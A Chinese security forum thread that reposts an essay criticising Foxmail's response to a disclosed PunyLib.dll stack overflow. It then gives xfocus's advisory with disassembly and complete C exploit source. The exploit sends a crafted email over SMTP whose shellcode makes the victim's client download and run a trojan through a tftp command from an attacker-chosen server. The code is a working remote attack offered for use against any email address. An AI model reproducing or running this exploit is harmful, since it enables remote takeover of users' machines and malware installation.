发新话题
打印

[转]看中国软件产业对安全的意识

[转]看中国软件产业对安全的意识

看中国软件产业对安全的意识
smokeman

引用原文:
hxxp://it.sohu.com/2004/03/19/99/article219509992.shtml

                      从张小龙对漏洞的回复看中国软件产业对安全的意识还需加强

    FoxMail5.0 Punylib.dll 邮件头解析缓冲区溢出漏洞,从去年9月份ICBM发现以后,在安全圈子地下流传了很久。这个漏洞的
威胁性无用庸言,一个堆栈的缓冲区溢出,对于稍微了解一点安全技术的人来说,都知道意味着什么,不过由于一些解码截断的问
题,使得SHELLCODE的编码和长度稍微难一点,但是对于一个攻击者并非是难事,安全焦点内部也早写出了一些非常通用的短SHELLCODE
攻击代码,ICBM所在的启明星辰积极防御实验室也写出了许可任意长度SHELLCODE的攻击代码。
    应该说,FoxMail是一个不错的国产软件,对于研究软件安全的从业者来说,没有广大用户的软件是不值得研究的,国内的安全
行业从业者开始研究FoxMail本身,也就说明了对FoxMail的认可。不过好的软件并非就是安全的软件,只有当安全研究者不断的发现
了软件的安全问题并通过和软件开发者产生互动,使得软件开发者越来越重视安全,才会使得好的软件逐步变得越来越安全。这点从
国外的很多好的软件的发展历程上来看都可以得以证明。
    公正的说,启明星辰在对待这个的FoxMail的漏洞的过程里,基本还是遵循了安全行业的行规,先是联系博大公司,提交漏洞的细
节,并且提供了大量的安全建议和补丁。博大的测试的人员也根据这个找到了很多新的漏洞。在公布这个漏洞的时候,启明星辰在公布
的技术细节,包括攻击代码上都未公布,无疑这是保证FoxMail的用户免受攻击的一个措施。
    另外一个细节是,启明星辰很早就开始联系博大公司了,然而foxmail上那几个报告bug的地址根本就不收信,于是一直无人回复,
直到通过到博大的论坛上发贴才联系上其技术人员,所以这个漏洞从去年发现到现在才公布,这期间按照安全行业的惯例是开发商未回
复的,都可以发布,在这点上启明星辰作为安全公司,还是非常负责任的,至少在联系责任过错属于开发商的情况下,还是坚持先联系
了开发商,提供了漏洞信息和安全建议以后才公布该漏洞。

    然而,我们很失望的看到,作为博大公司的技术总监张小龙对于漏洞的回复,突显出了整个中国软件行业对安全开发的意识的欠缺:
    1.逃避责任,而且对安全了解欠缺。
      张小龙说:“事实上,这个漏洞并非Foxmail5.0程序本身的缺陷,而是外挂的一个中文域名系统造成的,并且提供该中文域名
系统的单位已经给博大一个新的版本,问题已经得到解决了。”张小龙解释说:“而实际上,Foxmail5.0客户端的这个漏洞并不为人
所知,并且一般情况下,谁会去攻击客户端呢?启明星辰这么一闹,大家都知道了,其实是让Foxmail5.0用户遭到攻击的可能性大大
增加了。”
      首先,张小龙把责任全部归于Punylib.dll的提供方,但是张小龙忘记了,FoxMail作为一个软件整体,FoxMail应该对所有的
组件的安全负责,安全的责任不是可以单独拆分的,如果按照张小龙的这种逻辑,任何开发的软件的安全问题都可以归结为操作系统
的API了和LIB了,如使用了strcpy导致溢出的问题,大家完全可以按张的逻辑指责操作系统商提供的LIB了。
      其次,张小龙对于客户端安全问题的见解,凹陷的其对安全的无知确实让我吃惊,且不说目前造成损失最大的基本都是蠕虫,
而蠕虫大多都是针对客户端的。另外,张小龙显然未清楚,安全是一个整体,对于客户端安全的不重视,即使你有再强大的服务器
保护体制,安全机制也会崩溃。举例来说,我发一封具备这个漏洞的邮件给张小龙,张小龙的个人机器由于不重视客户端的安全,
被我远程控制了,当张小龙通过使用自己这台机器进入博大的内网的时候,由于张小龙在博大的职位可以访问任意公司的资源,于是
我通过渗透张小龙的客户端,完全可以达到攻击整个博大公司内部网络的目的。
      最后,张小龙认为不公布这个漏洞就能保护用户不收攻击的思路,关于这点安全行业早有讨论,这个我就不多说了,我唯一能
说的就是张小龙对于安全的了解确实还处于初级水平之上。

    2.缩小问题严重性,欺骗用户:
      张小龙说“启明星辰提到的攻击只存在理论上的可能性,因为经过我们研究,实际上只有将恶意代码写入发件人地址栏上,同
时收件人对该邮件进行回复时,才会有问题。但恶意代码写到发件人地址栏会很长,而且内容会非常奇怪,这种陌生的邮件谁会去打
开并回复呢?”。
     首先这是一个堆栈缓冲区溢出漏洞,只要接受攻击的邮件就会被攻击,我不知道张是怎么研究出这种结果的,但是很显然,张
依赖的研究人员显然对安全是一无所知的,事实其实就是该漏洞下,任何用户都会遭受攻击,无论是否回复,只要FoxMail接收该邮件。
而且该漏洞很极有被蠕虫利用的可能,如果FoxMail的用户相信了张的这翻话而无试该漏洞的严重性而未进行任何防护措施,等待他
的将是很严重的攻击。
     在这点上,张对用户的这翻话显然是非常不负责任的,相比国外的软件公司,真让人感觉是天上地下。即使是MS,将长整数溢
出这样的漏洞都列为严重级别,大家都知道,长整数溢出要利用获得权限是比较困难,而FoxMail的这个漏洞却已经被证实是可以百
分之百的执行SHELLCODE的,博大公司不采取任何紧急通知用户的措施,却采用这种欺骗用户的说辞,让我们深感博大公司对于安全
责任的极端淡薄。为了隐瞒问题,甚至不惜让自己的广大用户暴露在即将到来的攻击之下。这似乎是国人对待问题的通病在一个公司
运做上的体现。其实最后当广大用户因此漏洞受到攻击而放弃FoxMail的时候,最受伤的无疑将是博大公司和张小龙本人,正视问题
和漏洞,给予用户正确的安全警告和信息才是对用户也是对博大公司自己负责任的做法。
    所以,在这里再次提醒FoxMail的用户,针对这个漏洞一定要采取防护措施,及早打上CNNIC的补丁。

    3.对安全公司的恶意攻击
      张小龙说“但是,启明星辰主动向媒体发布这条消息,不仅夸大事实,而且显然是有意的商业炒作行为。张小龙说,启明星辰
无非是想利用Foxmail在国内巨大的名气来提升自身的形象和知名度,炒作的程度比较大。”
      我不想说启明星辰是否在炒作,但是至少,公布的这个漏洞还其实在的威胁严重性确是真实存在的,无可挑剔的。张小龙
可以回避漏洞的安全问题,甚至刻意向用户隐瞒漏洞的严重性的做法就比炒做本身更值得质问,而为了向用户隐瞒信息,不惜对安全
公司进行这种指责也未免让人更怀疑其转移视线的意图。
      Foxmail在国内巨大的名气,这个虽然说的大了点,但是FoxMail在国内用户比较多这是事实,但是张小龙按此就得出:启明
星辰无非是想利用Foxmail在国内巨大的名气来提升自身的形象和知名度,炒作的程度比较大。未免就是自我感觉过好的臆测了吧。
按张的说法,发现WINDOWS,LINUX等拥有巨大的名气厂商软件的漏洞的那些众多国际著名安全公司,都可以按张的臆测属于炒作了。

    对比一下发现漏洞的国内外软件开发公司对待漏洞发现者的态度,漏洞的态度,对产品使用用户公布漏洞信息的态度,我们不能
不得出一个结论:张小龙的这种态度和对安全的了解,代表是是国内的大多数软件开发厂商,对于软件安全的态度和对安全的了解。
当然我们也不能因此一味的指责软件行业如博大公司,某种意义上,软件开发行业也是安全行业的衣食父母和客户,支持国产软件
行业也应该是安全公司应尽的责任,导致的这些问题也有国内安全行业自己的责任,对于安全公司而言,对这些软件行业进行安全
知识的普及和安全的培训,也是刻不容缓的事情。

TOP

Foxmail 5远程缓冲区溢出漏洞

创建时间:2004-03-22 更新时间:2004-03-22
文章属性:原创
文章提交:root (webmaster_at_xfocus.org)

安全焦点<http://www.xfocus.net>

注:本文是2004年2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码。2004年3月18日启明星辰公布漏洞并发布相关补丁。

测试环境:win2k sp4+foxmail 5.0.300

以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。

问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。

具体处理过程如下:
.text:10002040 public UrlToLocal
.text:10002040 UrlToLocal proc near
.text:10002040
.text:10002040 arg_0 = dword ptr 4
.text:10002040 arg_4 = dword ptr 8
.text:10002040
.text:10002040 mov eax, dword_1000804C
.text:10002045 mov ecx, dword_10008030
.text:1000204B mov edx, [esp+arg_4]
.text:1000204F push offset aHttp ; "http://"
.text:10002054 push eax
.text:10002055 mov eax, [esp+8+arg_0]
.text:10002059 push offset unk_10008034
.text:1000205E push ecx
.text:1000205F push edx
.text:10002060 push eax
.text:10002061 call sub_10002070 ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容

.text:10002070 sub_10002070 proc near ; CODE XREF: UrlToLocal+21p
.text:10002070 ; EmailAdrToLocal+107p
.text:10002070
.text:10002070 var_600 = dword ptr -600h
.text:10002070 var_500 = dword ptr -500h
.text:10002070 var_400 = dword ptr -400h
.text:10002070 var_300 = dword ptr -300h
.text:10002070 var_200 = dword ptr -200h
.text:10002070 var_100 = dword ptr -100h
.text:10002070 arg_0 = dword ptr 4
.text:10002070 arg_4 = dword ptr 8
.text:10002070 arg_8 = dword ptr 0Ch
.text:10002070 arg_C = dword ptr 10h
.text:10002070 arg_10 = dword ptr 14h
.text:10002070 arg_14 = dword ptr 18h
.text:10002070
.text:10002070 mov edx, [esp+arg_0]
.text:10002074 sub esp, 600h
......
.text:100020DF push eax
.text:100020E0 push ecx
.text:100020E1 push ebx
.text:100020E2 call sub_10001A30 ;调用10001A30,就是这个函数里面溢出了

.text:10001A30 sub_10001A30 proc near ; CODE XREF: sub_10002070+72p
.text:10001A30 ; sub_10002290+95p
.text:10001A30
.text:10001A30 var_104 = dword ptr -104h
.text:10001A30 var_100 = dword ptr -100h
.text:10001A30 arg_0 = dword ptr 4
.text:10001A30 arg_4 = dword ptr 8
.text:10001A30 arg_8 = dword ptr 0Ch
.text:10001A30 arg_C = dword ptr 10h
.text:10001A30 arg_10 = dword ptr 14h
.text:10001A30 arg_14 = dword ptr 18h
.text:10001A30
.text:10001A30 sub esp, 104h ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200
.text:10001A36 push ebx
.text:10001A37 mov ebx, [esp+108h+arg_0]
.text:10001A3E push ebp
.text:10001A3F mov ebp, [esp+10Ch+arg_10]
.text:10001A46 push esi
.text:10001A47 xor esi, esi
......
.text:10001AA9 sub edi, ecx
.text:10001AAB mov eax, ecx
.text:10001AAD mov esi, edi
.text:10001AAF mov edi, edx
.text:10001AB1 shr ecx, 2
.text:10001AB4 rep movsd ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里
.text:10001AB6 mov ecx, eax
.text:10001AB8 and ecx, 3
.text:10001ABB rep movsb
......
.text:10001AE7 mov edi, [esp+114h+arg_C]
.text:10001AEE shr ecx, 2
.text:10001AF1 rep movsd ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0
.text:10001AF3 mov ecx, eax
.text:10001AF5 and ecx, 3
.text:10001AF8 rep movsb
......
.text:10001BD7 pop edi
.text:10001BD8 pop esi
.text:10001BD9 pop ebp
.text:10001BDA pop ebx
.text:10001BDB add esp, 104h
.text:10001BE1 retn ;返回的时候就会回到我们的JMP ESP地址去

这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,\r,\n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。

有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。

/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2004
* All Rights Reserved
* -----------------------------------------------------------------------
* Author : xfocus <webmaster@xfocus.org>
* : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version : 0.2
*
* Test : Windows 2000 server GB/XP professional
* + Foxmail 5.0.300.0
* Notes : unpublished vul.
* Greets : all member of XFOCUS Security Team.
* Complie : cl fmx.c
* Usage : fmx <mail_addr> <tftp_server> <smtp_server>
* mail_addr: email address we wantto hack
* tftp_server: run a tftp server and have a a.exe trojan
* smtp_server: SMTP server don't need login, we send the email thru it
*
* Date : 2004-02-27
* Revised : 2004-03-05
*
* Revise History:
* 2003-03-05 call WinExec() addr of Foxmail.exe module to run tftp for down&execute
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

//mail body, it's based on a real spam email, heh
unsigned char packet[] =
"From: %s\r\n" //buffer to overrun
"Subject: Hi,man\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed; boundary=\"87122827\"\r\n"
"\r\n"
"\r\n"
"--87122827\r\n"
"Content-Type: text/plain; charset=us-ascii\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"T\r\n"
"\r\n"
"--87122827\r\n"
"Content-Disposition: attachment\r\n"
"Content-Type: Text/HTML;\r\n"
" name=\"girl.htm\"\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"<html></html>\r\n"
"--87122827--\r\n"
"\r\n"
".\r\n";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

#define SMTPPORT 25
int Make_Connection(char *address,int port,int timeout);
int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])
{
    WSADATA WSAData;
    char *mailaddr = NULL;
    char *tftp = NULL;
    char *smtpserver = NULL;

    if(argc!=4)
    {
        printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\n", argv[0], argv[0]);
        return 1;
    }
    mailaddr=argv[1];
    tftp=argv[2];
    smtpserver=argv[3];

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        printf("WSAStartup failed.\n");
        WSACleanup();
        exit(1);
    }
     
    //WinExec() address
    SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
    SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

    WSACleanup();

    return 0;
}

// 建立TCP连接
// 输入:
// char * address IP地址
// int port 端口
// int timeout 延时
// 输出:
// 返回:
// 成功 >0
// 错误 <=0

int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        return -3;
    }
    if(i==0)
    {
        closesocket(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        return -5;
    }
    ioctlsocket(s,FIONBIO,&bf);
    return s;
}

//send magic mail
int SendXMail( char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
    SOCKET csock;
    int ret,i=0;
    char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
    csock = Make_Connection(smtpserver, SMTPPORT, 10);
    if(csock<0)
    {
        printf("connect err.\n");
        exit(1);
    }

    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    ret=send(csock, "HELO server\r\n",strlen("HELO server\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    ret=send(csock, "MAIL FROM: info@sina.com\r\n",strlen("MAIL FROM: info@sina.com\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
     
    sprintf(tmp, "RCPT TO: %s\r\n", mailaddr);
    ret=send(csock, tmp,strlen(tmp), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
    Sleep(1000);
     
    ret=send(csock, "DATA\r\n",strlen("DATA\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    printf("send exploit mail...\n");
    memset(sbuf, 0, sizeof(sbuf));
    memset(buf, 0, sizeof(buf));
    memset(buf, 0x41, sizeof(buf)-1);
    memset(tmp, 0, sizeof(tmp));
    //strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
    strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
    strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");
    sprintf(tmp1, tmp, tftp);
    memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
    *(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp
    *(int *)(buf+0x104)=0x80eb80eb; //jmp back
    *(int *)(buf+0x108)=0x7ffdf220; //writeable addr
    *(int *)(buf+0x110)=0x7ffdf220; //writeable addr
    memcpy(buf, "girl\x0d", 5);
    sprintf(sbuf, (char *)packet, buf);

    ret=send(csock, sbuf,strlen(sbuf), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
    printf("exploit mail sent.\n");
    closesocket(csock);
    return 0;
}
支持 (0)  反对 (0)

TOP

张小龙不代表全部
现在包括基本用户的安全意识都在加强。
我们都要或多或少的接触网络安全的问题,这是一个警示
支持 (0)  反对 (0)

TOP

发新话题